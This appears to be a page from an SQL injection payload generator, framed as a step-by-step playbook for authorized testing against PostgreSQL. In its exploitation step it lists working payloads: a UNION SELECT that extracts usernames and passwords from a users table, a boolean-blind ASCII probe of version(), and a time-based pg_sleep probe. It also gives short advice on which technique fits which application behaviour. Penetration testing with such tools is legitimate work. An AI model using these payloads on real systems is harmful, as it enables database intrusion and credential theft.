SQL Injection Payloads· SQLi Payload Crafter

Step-by-step injection playbook — authorized testing only

PayloadsBlog
DBMS PostgreSQL·Context single-quote string·Techniques 7 enabled
22 total payloads

Step 3 — Exploitation

Demonstrate impact with the cheapest technique that fits

Reflective output → UNION. Errors leak → error-based. Silent → boolean, then time-based.

What to look for

  • UNION: target value reflected in HTML or JSON
  • Error-based: version(), database(), or table names in error text
  • Boolean blind: stable difference between true and false conditions
  • Time-based: response delay matching your sleep setting
  • Auth bypass: login without valid credentials

If this fails

Payloads to send

11 in this step

UNION-based

UNION SELECT exfil

UNION-based

' UNION SELECT username, password FROM users LIMIT 1-- 

Column count must match original query. Reflect column 1 in the app response.

PayloadsAllTheThings reference

Error-based

Boolean blind

Target char (ASCII)

Boolean blind

' AND ASCII(SUBSTRING(version() FROM 1 FOR 1))=104-- 

Binary search ASCII at position 1 (configured: 104).

PayloadsAllTheThings reference

Time-based blind

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(version() FROM 1 FOR 1))='5' THEN (pg_sleep(5)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference